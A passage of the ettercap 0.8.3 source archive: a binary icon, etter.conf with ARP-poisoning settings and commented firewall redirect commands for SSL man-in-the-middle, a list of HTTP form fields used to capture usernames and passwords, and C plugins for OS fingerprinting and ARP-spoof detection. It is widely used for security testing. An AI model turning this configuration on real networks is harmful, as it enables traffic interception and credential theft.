ELECTRONICS CO.,LTD 9C5CF9 Sony Mobile Communications AB D4389C Sony Mobile Communications AB 002345 Sony Mobile Communications AB 001CA4 Sony Mobile Communications AB A019B2 IEEE Registration Authority 88B66B easynetworks D46761 United Gulf Gate Co. D469A5 Miura Systems Ltd. ettercap-0.8.3/share/ettercap-small.png0000644000175000017500000004131513505247364017725 0ustar koeppeakoeppeaPNG  IHDRI#bKGD pHYs  tIMEd{o IDATxy|?Yg_2I&J a 삈,"RpZ[jUV(u@HBBȾL&dycZ@yy9{}J(J(:m #$Зtă0a iԫHB C$Isq,GH%`$IIJ  H>/0,a((0E>/bB>a } 1,%"H>7 C$HB (I$/ ,V>F @$E$FD$eJو+HB_B(6ы$0$>P>/"8.A$E6"Ez],aӼ @<0DIпK4a&l$s 0Ő$y>%A$pˑ5$obY^ X+D!֠ qPJ%)J*4 v}$H19qq !S,Pr\4YLt ͒/B/ C;@6BSJA 갥#;||W4wzJӛ@ @cL&c;=-rd^Y%):,C PB(?u~4T@bCPLㇷT okL\y&r9ƏWQc~;= 5Gh K, X!"T%t)?A ,TDAu jPa1BSfp :4}}>hJ@(AR3{L B JBNn^E/D.|X3ۏAnؾ}NuTg*TM(24MKuS.BA`9Rf6%tH}*l0KR{pDo/q;6$ZwZrDJvW_btzZ,@VdC4 e YH$A8B/F򶪲#Aٹf iGuih7z;qu&>{%.;Fhu ,•@H 1-PB`4&(tR&αR/ =m&DB:$% JU0 <@)dE,+|Gb; &.@40,U'57ȫ]xiS'ԟ`Z/xI. TYA~a:ۻ3 &Di% /B0*K ,g\;Oܴh4p BuH'c:ڌd$'PUs`JBI4`QT,O|ѝ{(4jňQitI8R x(Z>sd7픆OMMr4UUGMQcf7 vɌdQwj&1 45ogmO<w ^H?ɿN[RP0H uwS~("|=}XGC-=l  TUU0 Xȋ`9,ÂBUTĢQD0,q'Go KVcXv(u$tw ɏfh&ϋ0 9\}סP5 I9Dܶy G6$/|GljA{[֤-жF~-E몪ꪮ:VyhԴG~1`4j$IHNN2ܽ{ĝ]Xw]3mHKq##ܧb,`'zmc-?k =} I >M>]( "BHzbio8e䉓F_X)Ue7ӃS&!+#TB T],+Dúޞ^_ !D4$oݾ9drǏֶzꊖeO!RLnio.(8;{~~(kJYRBm~,IEÀ{qW(ZxO[A/IN_enND<yA\tɅXCf \ey}2djg$]G]ӡ#uƱ(+:7Aht h1b>t8vdggA[wr|%CG+Y5~`(DzIa!8R_)CU|Dנ30 Zlp؜Hr%f i #GBHIN=9.oƢ]~K`?b} ڥ[R]|}hyyۛ`9gInb( P 5oZT4E)ĿSUy]ð`Y at8QPX%(\wj* MӰu?}/=>p1%/0(h(P0Q^/>DIVBAX#PieRzSYX,! #';YtчjCu.]?#PłRZ:8EvGہKvؽ\>{[Inxw|zioArKv LCcA NMW떔7q;[Qu'ШEu:@t6CpE0O@j`X,À̧s >c>r2 iݑJ@Y͓'1K򠦮ȣO#l  KTE̠ A0r!/φ`eeh|j3b0}y}w(-Vbɂ:sC>#$ & A ]>?hrSi TϑXbB8yCM?K]>~C?E8a?t b/;Y:|wSQIkK;t@͠Xn˞dI;,i%[mt՘ \ r):P(N5t;}SԱs=yofa{ ,9q; oX~W6Po0iuW;aõ5doxNkS/a6#;73ӕjK+)MO2{7K/=~~Z_}&/8f~~( ݊FbĨHIM("! 9 j :DKFۍfe!g(8yDAPbQp"FաCbd4t8]6b4%9keJxӟ4[mp]5(Q.`vl_n d6 㸻ؿ!\v͂7%DgO[,h46G|qsAC UTYQE[+>>~D|?[K|`%P)Q K)OxWzDׇOŵʆ!Q<6p}D R"yp\.D"az*2x b~QU{^o!CsPXXT(LcR^s{i,sָL^o;:%O~ Y=!__>3} M7rnڬN{7b eC?2DbDA0k۲(#Ƞ uGԐ?r26\>#TEh&3/@Fjy 3}YVP[BѶZT {X1,n,A4A4&)xe*z{z_QiحDc2 "a#,-6Byڝ0q{+7R?mw 2tӖVHͲ|K{N¥,URJE /usZG&^u^ Vs/\҅Hlcsc٬ @);7#o INMfeݴϰQ,X>* Nqk7xnYz1 + C\d@,oѐd,!`<à ?Ntww߇$8l(,)f(@'#CU0p80l}o>o .6Lwz:c4I G:;BdMex~qJK~Ui)CSxuY^ϝ_~[i󥈆ӧ̧ k]bk#30^|9g>}ۉ&Q= |{u8h'elYhƈ1 b__1l̜> 6o[A1"Q>466*l#77in&-&``F FH@e].$廷"W.8 $C':zin#:ZɼCG Fuezk==ן`>^\8!ɿhO;f] .Lr>gY4tT< صHHU4A>/6.JvrOQ0H(4-ӇXXCR*  FWuO/NoĎ! K.]pݬ=2g.<YfyhmDz61$!L0++G^{gyȐ9K9.dd`zC7v_tY[;eN$8eOs9TUE}°k TPMfѨ2&rdhܮ4InDXh4aȪ$Ȳ ]Q ,6+| "@4Hhەf/I05nh,.o /hXϜxuRmaZj^Sxwա;y촂3~_mwڴC&,J!C-{~Gdd'ؚ*txZP^~HLhZ;k=ּ}R{KSeܣǗ 1  e9A&bߞػ3&@VQəȑTUnG{wRVD Y9$ A!:dd*bu?Dg} F#:vDpAc]Q{wϞ+RVX4=f"۝h4}Lȷl'|85Jӗ<uS0}G:UDΌ3̝hqcovmNJ7x޻W=bAz{Ԛʖku-IO0%b6ַm>=JuM;'JbRnw.ZLD"HI#A"0[e )P\. DPp:˂tȪ" B X`*SÕM/w( &L*~hKGEr}"èM,`DhN 3̟S٬Vo٬oY{M6,-3yroڗf47tvZ;wf8/9X7;o7YYQy>51䬛nYb0)ۅP jy[3vE@zuݼC N(lv+ M-~zZF~Oz#GaQ0nul3A #͝HH`wpCA,(<݀œ.dq@VUD=]KB=x} $U;aNJ(4Á@"e1MhQEQ472M<0:t@` `܄'|T'KlyomƐE&k{T{oFdna3?8{ޒsh)O]lsq_mɮ7";nbeZz"_#8]NEyTci7f?|MiڋPUUhX {`PDz".-JX@QLP j*,&3B1@&V_}0,XdypL3Lf+x/ESa̰)躌1p,_;^9>$PU֎矉FtPa(Q"izAi7݁?/veYd*,uړ gbفך-fC_}6'?-+?)uÚ>K| xHo670s9ţr>LO@[k222E>|goIEe;dR-ynJ/R:1;3+:$|Is8A/,8t!' (BUf Y KB}| SD'ұPӾ1 DaZ^%!VkU,O vN\42gzz:h? }Gػp0w'ك+YhMz=]]? w2CaQ0|xN6ĂQG;Bdge?y ;vm&"=}=߽*c-E0 FH;8F5786 >σ ye{/!;7@%%J%S+!4$޲2a6oi3RϺܮAng:eH(ٵy=wtxed)4<Ut+.~zo휟A` U\bε F10j3zLK{KK|@O+ I/5r@L0 G}k宬m͍[+Sp߻IyR&ӇNWjٴ=uo|Wv Lpw;InM!{vŏ.̙g眊~ͮNZ7 U񳉤;1 1վp ªNG?VٻkOυgfd~/nҜ(ODY}NwgX&IFX=pj2jbK0$};jX5 ve9wN]X)t㴩Vܳ/}'?|ů81 BϏnÉ9~u{fLڵc݆u C z2/m~ /(zuK'w`׻3y"/(ZSK̜:gF]%T׀Z,7RbVCpSQi.5-h)3Ỷug̟t۴9#᪻|oor"$Tw,BiG`B xO{W" ]+^H' ȵ󗣦 /_y<7s<P4]ÐaT0ĘTE?:-$Oo[>5`JzRjh9u$ EAAQ6}h`VTa9Sn)'!*j/nԨJt|V][OefzzѺVG[b2>_jttS 3nzho);TQ7skpj*@'WU88>ߕ9~PU}U5@:w=U$mB%4p":t̰ 94rtJC]!&dXZ rx_;l?'L$,nZxavXd< gnl褚*k{NR8Ue*bYVpoi5]"-MtXi_|" A7siY04Ge^SH;;=.k[^~~zg/`[[^Tdh kp|G:+MdD  CinQ?]=QZpfff=e4kgʚ64c Y @Nl6+3OtB%Xz6޷{>\ӧ̦{lF4z ȑƦZ{ 'K@W^o^*kA:=[;>8џ=mXL9}rI Ep+/;tnh_<$+p/]ws˂ 'AfLaRqdHrD9\`[?*Cɘ? ..B͑lg S险 cySWO8>;ȉvͻq6L)iZFmo͛[Ng[!)^1 "Mhi?r4)ٰzWlRe@5"1UB!|͛֞Ϯ(.ɣQ#}֭h4 7bR_8=m̋/XxjHI]~CZa}h{^8Yc5;uU$omxTV>@˵i%gx:{ӦGEnj{ow>U/Vow.OI„ ^e C@EM*:mMU;G%R]Y[ւ܌w*?p_,F#uU4=϶K$6joĈQ M?C)ލ%# FwIuN0 8E5YYDu GG.9Xa~_9h%ӊ"[d/*םp% <^yIX`]… '%U7)6Dd?a؆$y0,tU+\V忞YAFN ^||(YꡣaK|ݔ ga>ppQ㋖utT{2b1tBxؽOb҄ >z͋zZx?V$0"k:<4L~,=[FVʨXTh O^o*|^K9>hYc[{}=/ubCC(Oe:FpD%8f^O*Ĉ܏ʋe~ ?\m?}^i],h/^o8UIlH$! ;Q ~4j̜7_PQn~YV_\v "$VgS͊Si%ó+ٞ(DިrDISd⃕{eLJXղV0 d tܻwa/ G~a'=GBhƆ#z­:Z΅XKH߶n;~ۉ: dq U{n ?pR*`ȻqbNGW}mܲoUu<ɚS}YSLݯ2U+\g0 z^8$`$@뼏7w' qe*OuffKj_iʝJCm0 K*T4me ʧ:2"`z<}.|'oD?l2Y~GnO׫EQ$bb{u|8|Bˆ`͞5cpT6[uFc&w$\OH gc{{~XYTQc̍,)?^pO=oqqI7GVa0֤[&LXb XhL5Եb"|Ɓ<] GSn?xzu/>JVr,;7q!f"pd+CH+SrIAbE ܒ! 89\}G,2NƜw]Aȸ(Q++Yu&UF tRQFn׍NI0Q*4ʴ,SyB 16R-hR8{`pB! M,ȃ(AȨ`(@ 뢌D d_q{){]K!c4C$8NfLf+Ԝ*fS"T2Ŀ Z]LzkéW)z"1gmVUNʄ BF=Rx8{q͖RGGww{(*J7HT0a0 BƄ0rOpwHly)*o6b/ZQ S(33]X,qȷe$^qb5=7:)ZA |\M]`2q/o\Wr*=vm'R3(B!B=ABIENDB`ettercap-0.8.3/share/etter.conf.v40000644000175000017500000002226313505247364016625 0ustar koeppeakoeppea############################################################################ # # # ettercap -- etter.conf -- configuration file # # # # Copyright (C) ALoR & NaGA # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # # # ############################################################################ [privs] ec_uid = 65534 # nobody is the default ec_gid = 65534 # nobody is the default [mitm] arp_storm_delay = 10 # milliseconds arp_poison_smart = 0 # boolean arp_poison_warm_up = 1 # seconds arp_poison_delay = 10 # seconds arp_poison_icmp = 1 # boolean arp_poison_reply = 1 # boolean arp_poison_request = 0 # boolean arp_poison_equal_mac = 1 # boolean dhcp_lease_time = 1800 # seconds port_steal_delay = 10 # seconds port_steal_send_delay = 2000 # microseconds [connections] connection_timeout = 300 # seconds connection_idle = 5 # seconds connection_buffer = 10000 # bytes connect_timeout = 5 # seconds [stats] sampling_rate = 50 # number of packets [misc] close_on_eof = 1 # boolean value store_profiles = 1 # 0 = disabled; 1 = all; 2 = local; 3 = remote aggressive_dissectors = 1 # boolean value skip_forwarded_pcks = 1 # boolean value checksum_check = 0 # boolean value submit_fingerprint = 0 # boolean valid (set if you want ettercap to submit unknown finger prints) checksum_warning = 0 # boolean value (valid only if checksum_check is 1) sniffing_at_startup = 1 # boolean value geoip_support_enable = 1 # boolean value (set geoip_data_file of GeoIP database file cannot be located) gtkui_prefer_dark_theme = 0 # boolean value ############################################################################ # # You can specify what DISSECTORS are to be enabled or not... # # e.g.: ftp = 21 enabled on port 21 (tcp is implicit) # ftp = 2345 enabled on non standard port # ftp = 21,453 enabled on port 21 and 453 # ftp = 0 disabled # # NOTE: some dissectors have multiple default ports, if you specify a new # one, all the default ports will be overwritten # # #dissector default port [dissectors] ftp = 21 # tcp 21 ssh = 22 # tcp 22 telnet = 23 # tcp 23 smtp = 25 # tcp 25 dns = 53 # udp 53 dhcp = 67 # udp 68 http = 80 # tcp 80 ospf = 89 # ip 89 (IPPROTO 0x59) pop3 = 110 # tcp 110 #portmap = 111 # tcp / udp vrrp = 112 # ip 112 (IPPROTO 0x70) nntp = 119 # tcp 119 smb = 139,445 # tcp 139 445 imap = 143,220 # tcp 143 220 snmp = 161 # udp 161 bgp = 179 # tcp 179 ldap = 389 # tcp 389 https = 443 # tcp 443 ssmtp = 465 # tcp 465 rlogin = 512,513 # tcp 512 513 rip = 520 # udp 520 nntps = 563 # tcp 563 ldaps = 636 # tcp 636 telnets = 992 # tcp 992 imaps = 993 # tcp 993 ircs = 994 # tcp 993 pop3s = 995 # tcp 995 socks = 1080 # tcp 1080 radius = 1645,1646 # udp 1645 1646 msn = 1863 # tcp 1863 cvs = 2401 # tcp 2401 mysql = 3306 # tcp 3306 icq = 5190 # tcp 5190 ymsg = 5050 # tcp 5050 mdns = 5353 # udp 5353 vnc = 5900,5901,5902,5903 # tcp 5900 5901 5902 5903 x11 = 6000,6001,6002,6003 # tcp 6000 6001 6002 6003 irc = 6666,6667,6668,6669 # tcp 6666 6667 6668 6669 gg = 8074 # tcp 8074 proxy = 8080 # tcp 8080 rcon = 27015,27960 # udp 27015 27960 ppp = 34827 # special case ;) this is the Net Layer code TN3270 = 23,992 # tcp 23 992 # # you can change the colors of the curses GUI. # here is a list of values: # 0 Black 4 Blue # 1 Red 5 Magenta # 2 Green 6 Cyan # 3 Yellow 7 White # [curses] color_bg = 0 color_fg = 7 color_join1 = 2 color_join2 = 4 color_border = 7 color_title = 3 color_focus = 6 color_menu_bg = 4 color_menu_fg = 7 color_window_bg = 4 color_window_fg = 7 color_selection_bg = 6 color_selection_fg = 6 color_error_bg = 1 color_error_fg = 3 color_error_border = 3 # # This section includes all the configurations that needs a string as a # parmeter such as the redirect command for SSL mitm attack. # [strings] # the default encoding to be used for the UTF-8 visualization utf8_encoding = "ISO-8859-1" # the command used by the remote_browser plugin remote_browser = "xdg-open http://%host%url" # location of the GeoIP database file in case it's not the standard location # this is mostly necessary on Windows or if libgeoip is manually build geoip_data_file = "/usr/local/share/GeoIP/GeoIP.dat" geoip_data_file_v6 = "/usr/local/share/GeoIP/GeoIPv6.dat" ##################################### # redir_command_on/off ##################################### # you must provide a valid script for your operating system in order to have # the SSL dissection available # note that the cleanup script is executed without enough privileges (because # they are dropped on startup). so you have to either: provide a setuid program # or set the ec_uid to 0, in order to be sure the cleanup script will be # executed properly # NOTE: the script must fit into one line with a maximum of 255 characters #--------------- # Linux #--------------- # if you use ipchains: #redir_command_on = "ipchains -A input -i %iface -p tcp -s %source -d %destination %port -j REDIRECT %rport" #redir_command_off = "ipchains -D input -i %iface -p tcp -s %source -d %destination %port -j REDIRECT %rport" # if you use iptables: #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp -s %source -d %destination --dport %port -j REDIRECT --to-port %rport" #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp -s %source -d %destination --dport %port -j REDIRECT --to-port %rport" #--------------- # Mac Os X #--------------- # if you use ipfw: #redir_command_on = "ipfw -q add set %set fwd 127.0.0.1,%rport tcp from %source to %destination %port in via %iface" #redir_command_off = "ipfw -q delete set %set" # if you use BSD PF: #redir_command_on = "(pfctl -sn 2> /dev/null; echo 'rdr pass on %iface inet proto tcp from %source to %destination port %port -> localhost port %rport') | pfctl -f - 2> /dev/null" #redir_command_off = "pfctl -Psn 2> /dev/null | egrep -v 'inet .+ %source to %destination port = %port' | pfctl -f - 2> /dev/null" #--------------- # FreeBSD #--------------- # Before PF can be used, make sure the kernel module has been loaded by # `kldstat | grep pf.ko`. If the rusult is empty, you can load it by `kldload pf.ko`. # To enable PF at startup add 'pf_enable="YES"' to the /etc/rc.conf, # 'pf_load="YES"' to /boot/loader.conf and 'pfctl -e' to /etc/rc.local. # Check if the PF status is enabled by # `pfctl -si | grep Status | awk '{print $2;}'`. If "Disabled", enable it with # `pfctl -e`. #redir_command_on = "(pfctl -sn 2> /dev/null; echo 'rdr pass on %iface inet proto tcp from %source to %destination port %port -> localhost port %rport') | pfctl -f - 2> /dev/null" #redir_command_off = "pfctl -Psn 2> /dev/null | egrep -v 'inet .+ %source to %destination port = %port' | pfctl -f - 2> /dev/null" #--------------- # Open BSD #--------------- # unfortunately the pfctl command does not accepts direct rules adding # you have to use a script which executed the following command: # ----- cut here ------- # #!/bin/sh # rdr pass on $1 inet proto tcp from any to any port $2 -> localhost port $3 | pfctl -a sslsniff -f - # ----- cut here ------- # it's important to remember that you need "rdr-anchor sslsniff" in your # pf.conf in the TRANSLATION section. #redir_command_on = "the_script_described_above %iface %port %rport" #redir_command_off = "pfctl -a sslsniff -Fn" # also, if you create a group called "pfusers" and have EC_GID be that group, # you can do something like: # chgrp pfusers /dev/pf # chmod g+rw /dev/pf # such that all users in "pfusers" can run pfctl commands; thus allowing non-root # execution of redir commands. ########## # EOF # ########## ettercap-0.8.3/share/etter.fields0000644000175000017500000000362213505247364016614 0ustar koeppeakoeppea############################################################################ # # # ettercap -- etter.felds -- known HTTP form fields # # # # Copyright (C) ALoR & NaGA # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ ############################################################################ # # # This file contains the form fields recognized as user or password by # # the HTTP dissector. You can add your own fields in the right section # # # ############################################################################ [USER] log login wpname ahd_username unickname nickname user user_name alias pseudo email username _username userid form_loginname loginname login_id loginid session_key sessionkey pop_login uid id user_id screenname uname ulogin acctname account member mailaddress membername login_username login_email loginusername loginemail uin sign-in [PASS] ahd_password pass password _password passwd session_password sessionpassword login_password loginpassword form_pw pw userpassword pwd upassword login_password passwort passwrd wppassword upasswd ettercap-0.8.3/plug-ins/0000755000175000017500000000000013505247364014732 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/finger/0000755000175000017500000000000013505247364016204 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/finger/finger.c0000644000175000017500000001551313505247364017627 0ustar koeppeakoeppea/* finger -- ettercap plugin -- fingerprint a remote host. it sends a syn to an open port and collect the passive ACK fingerprint. Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include #include #include #include /* globals */ static struct ip_addr ip; static u_int16 port; static char fingerprint[FINGER_LEN + 1]; /* protos */ int plugin_load(void *); static int finger_init(void *); static int finger_fini(void *); static void get_finger(struct packet_object *po); static int good_target(struct ip_addr *ip, u_int16 *port); static int get_user_target(struct ip_addr *ip, u_int16 *port); static void do_fingerprint(void); /* plugin operations */ struct plugin_ops finger_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "finger", /* a short description of the plugin (max 50 chars) */ .info = "Fingerprint a remote host", /* the plugin version. */ .version = "1.6", /* activation function */ .init = &finger_init, /* deactivation function */ .fini = &finger_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &finger_ops); } /******************* STANDARD FUNCTIONS *******************/ static int finger_init(void *dummy) { /* variable not used */ (void) dummy; /* don't show packets while operating */ EC_GBL_OPTIONS->quiet = 1; /* wipe the global vars */ memset(&ip, 0, sizeof(struct ip_addr)); port = 0; /* * can we use EC_GBL_TARGETS ? * else ask the user */ if (good_target(&ip, &port) != E_SUCCESS) { /* get the target from user */ if (get_user_target(&ip, &port) == E_SUCCESS) { /* do the actual finterprinting */ do_fingerprint(); } } else { struct ip_list *host; /* look over all the hosts in the TARGET */ LIST_FOREACH(host, &EC_GBL_TARGET1->ips, next) { /* * copy the ip address * the port was alread retrived by good_target() */ memcpy(&ip, &host->ip, sizeof(struct ip_addr)); /* cicle thru all the specified port */ for (port = 0; port < 0xffff; port++) { if (BIT_TEST(EC_GBL_TARGET1->ports, port)) { /* do the actual finterprinting */ do_fingerprint(); } } } } return PLUGIN_FINISHED; } static int finger_fini(void *dummy) { /* variable not used */ (void) dummy; return PLUGIN_FINISHED; } /*********************************************************/ /* * sends a SYN to a specified port and collect the * passive fingerprint for that host */ static void get_finger(struct packet_object *po) { /* check that the source is our host and the fingerprint was collecter */ if (!ip_addr_cmp(&ip, &po->L3.src) && strcmp(po->PASSIVE.fingerprint, "")) memcpy(fingerprint, &po->PASSIVE.fingerprint, FINGER_LEN); } /* * check if we can use EC_GBL_TARGETS */ static int good_target(struct ip_addr *p_ip, u_int16 *p_port) { struct ip_list *host; /* is it possible to get it from EC_GBL_TARGETS ? */ if ((host = LIST_FIRST(&EC_GBL_TARGET1->ips)) != NULL) { /* copy the ip address */ memcpy(p_ip, &host->ip, sizeof(struct ip_addr)); /* find the port */ for (*p_port = 0; *p_port < 0xffff; (*p_port)++) { if (BIT_TEST(EC_GBL_TARGET1->ports, *p_port)) { break; } } /* port was found */ if (*p_port != 0xffff) return E_SUCCESS; } return -E_NOTFOUND; } /* * get the target from user input */ static int get_user_target(struct ip_addr *p_ip, u_int16 *p_port) { char input[MAX_ASCII_ADDR_LEN+1+5+1]; char ipstr[MAX_ASCII_ADDR_LEN]; memset(input, 0, sizeof(input)); /* get the user input */ ui_input("Insert ip:port : ", input, sizeof(input), NULL); /* no input was entered */ if (strlen(input) == 0) return -E_INVALID; /* get the hostname */ if (ec_strsplit_ipport(input, ipstr, p_port)) return -E_INVALID; /* convert IP string into ip_addr struct */ if (ip_addr_pton(ipstr, p_ip)) return -E_INVALID; /* correct parsing */ if (*p_port != 0) return E_SUCCESS; return -E_INVALID; } /* * fingerprint the host */ static void do_fingerprint(void) { char tmp[MAX_ASCII_ADDR_LEN]; char os[OS_LEN + 1]; int fd; /* clear the buffer */ memset(fingerprint, 0, sizeof(fingerprint)); /* convert the in ascii ip address */ ip_addr_ntoa(&ip, tmp); /* * add the hook to collect tcp SYN+ACK packets from * the target and extract the passive fingerprint */ hook_add(HOOK_PACKET_TCP, &get_finger); INSTANT_USER_MSG("Fingerprinting %s:%d...\n", tmp, port); /* * open the connection and close it immediately. * this ensure that a SYN will be sent to the port */ if ((fd = open_socket(tmp, port)) < 0) return; /* close the socket */ close_socket(fd); /* wait for the response */ ec_usleep(SEC2MICRO(1)); /* remove the hook, we have collected the finger */ hook_del(HOOK_PACKET_TCP, &get_finger); /* no fingerprint collected */ if (!strcmp(fingerprint, "")) return; INSTANT_USER_MSG("\n FINGERPRINT : %s\n", fingerprint); /* decode the finterprint */ if (fingerprint_search(fingerprint, os) == E_SUCCESS) INSTANT_USER_MSG(" OPERATING SYSTEM : %s \n\n", os); else { INSTANT_USER_MSG(" OPERATING SYSTEM : unknown fingerprint (please submit it) \n"); INSTANT_USER_MSG(" NEAREST ONE IS : %s \n\n", os); } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/dummy/0000755000175000017500000000000013505247364016065 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/dummy/dummy.c0000644000175000017500000000706113505247364017370 0ustar koeppeakoeppea/* dummy -- ettercap plugin -- it does nothig ! only demostrates how to write a plugin ! Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include /* prototypes is required for -Wmissing-prototypes */ /* * this function must be present. * it is the entry point of the plugin */ int plugin_load(void *); /* additional functions */ static int dummy_init(void *); static int dummy_fini(void *); /* plugin operations */ struct plugin_ops dummy_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "dummy", /* a short description of the plugin (max 50 chars) */ .info = "A plugin template (for developers)", /* the plugin version. */ .version = "3.0", /* activation function */ .init = &dummy_init, /* deactivation function */ .fini = &dummy_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { DEBUG_MSG("dummy plugin load function"); /* * in this fuction we MUST call the registration procedure that will set * up the plugin according to the plugin_ops structure. * the returned value MUST be the same as plugin_register() * the opaque pointer params MUST be passed to plugin_register() */ return plugin_register(handle, &dummy_ops); } /*********************************************************/ static int dummy_init(void *dummy) { /* the control is given to this function * and ettercap is suspended until its return. * * you can create a thread and return immediately * and then kill it in the fini function. * * you can also set an hook point with * hook_add(), in this case you have to set the * plugin type to PL_HOOK. */ /* variable not used - avoid extended warning */ (void) dummy; USER_MSG("DUMMY: plugin running...\n"); /* return PLUGIN_FINISHED if the plugin has terminated * its execution. * return PLUGIN_RUNNING if it has spawned a thread or it * is hooked to an ettercap hookpoint and * it needs to be deactivated with the fini method. */ return PLUGIN_RUNNING; } static int dummy_fini(void *dummy) { /* variable not used */ (void) dummy; /* * called to terminate a plugin. * usually to kill threads created in the * init function or to remove hook added * previously. */ USER_MSG("DUMMY: plugin finalization\n"); return PLUGIN_FINISHED; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/arp_cop/0000755000175000017500000000000013505247364016355 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/arp_cop/arp_cop.c0000644000175000017500000001406713505247364020154 0ustar koeppeakoeppea/* arp_cop -- ettercap plugin -- Report suspicious ARP activity Copyright (C) ALoR & NaGA Copyright (C) 2001 for the original plugin : Paulo Madeira This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include /* protos */ int plugin_load(void *); static int arp_cop_init(void *); static int arp_cop_fini(void *); static void parse_arp(struct packet_object *po); static void arp_init_list(void); /* globals */ LIST_HEAD(, hosts_list) arp_cop_table; /* plugin operations */ struct plugin_ops arp_cop_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "arp_cop", /* a short description of the plugin (max 50 chars) */ .info = "Report suspicious ARP activity", /* the plugin version. */ .version = "1.1", /* activation function */ .init = &arp_cop_init, /* deactivation function */ .fini = &arp_cop_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &arp_cop_ops); } /******************* STANDARD FUNCTIONS *******************/ static int arp_cop_init(void *dummy) { /* variable not used */ (void) dummy; USER_MSG("arp_cop: plugin running...\n"); arp_init_list(); hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); hook_add(HOOK_PACKET_ARP_RP, &parse_arp); return PLUGIN_RUNNING; } static int arp_cop_fini(void *dummy) { /* variable not used */ (void) dummy; USER_MSG("arp_cop: plugin terminated...\n"); /* We don't free the global list for further reuse */ hook_del(HOOK_PACKET_ARP_RQ, &parse_arp); hook_del(HOOK_PACKET_ARP_RP, &parse_arp); return PLUGIN_FINISHED; } /*********************************************************/ /* Parse the arp packets */ static void parse_arp(struct packet_object *po) { char tmp1[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; char str1[ETH_ASCII_ADDR_LEN]; char str2[ETH_ASCII_ADDR_LEN]; char found = 0; struct hosts_list *h1, *h2; LIST_FOREACH(h1, &arp_cop_table, next) { /* The IP address is already in the list */ if(!ip_addr_cmp(&po->L3.src, &h1->ip)) { /* This is its normal MAC address */ if (!memcmp(po->L2.src, h1->mac, MEDIA_ADDR_LEN)) return; /* Someone is spoofing, check if we already know its mac address */ LIST_FOREACH(h2, &arp_cop_table, next) { if (!memcmp(po->L2.src, h2->mac, MEDIA_ADDR_LEN)) { /* don't report my own poisoning */ if (ip_addr_cmp(&h2->ip, &EC_GBL_IFACE->ip)) USER_MSG("arp_cop: (WARNING) %s[%s] pretends to be %s[%s]\n", ip_addr_ntoa(&h2->ip, tmp1), mac_addr_ntoa(h2->mac, str1), ip_addr_ntoa(&h1->ip, tmp2), mac_addr_ntoa(h1->mac, str2)); return; } } /* A new NIC claims an existing IP address */ USER_MSG("arp_cop: (IP-conflict) [%s] wants to be %s[%s]\n", mac_addr_ntoa(po->L2.src, str1), ip_addr_ntoa(&h1->ip, tmp1), mac_addr_ntoa(h1->mac, str2)); return; } } /* The IP address is not yet in the list */ LIST_FOREACH(h1, &arp_cop_table, next) { if (!memcmp(po->L2.src, h1->mac, MEDIA_ADDR_LEN)) { USER_MSG("arp_cop: (IP-change) [%s] %s -> %s\n", mac_addr_ntoa(h1->mac, str1), ip_addr_ntoa(&h1->ip, tmp1), ip_addr_ntoa(&po->L3.src, tmp2)); found = 1; } } if (!found) USER_MSG("arp_cop: (new host) %s[%s]\n", ip_addr_ntoa(&po->L3.src, tmp1), mac_addr_ntoa(po->L2.src, str1)); /* Insert the host in th list */ SAFE_CALLOC(h1, 1, sizeof(struct hosts_list)); memcpy(&h1->ip, &po->L3.src, sizeof(struct ip_addr)); memcpy(h1->mac, po->L2.src, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&arp_cop_table, h1, next); } static void arp_init_list() { struct hosts_list *h1, *h2; /* If we have already run it once */ 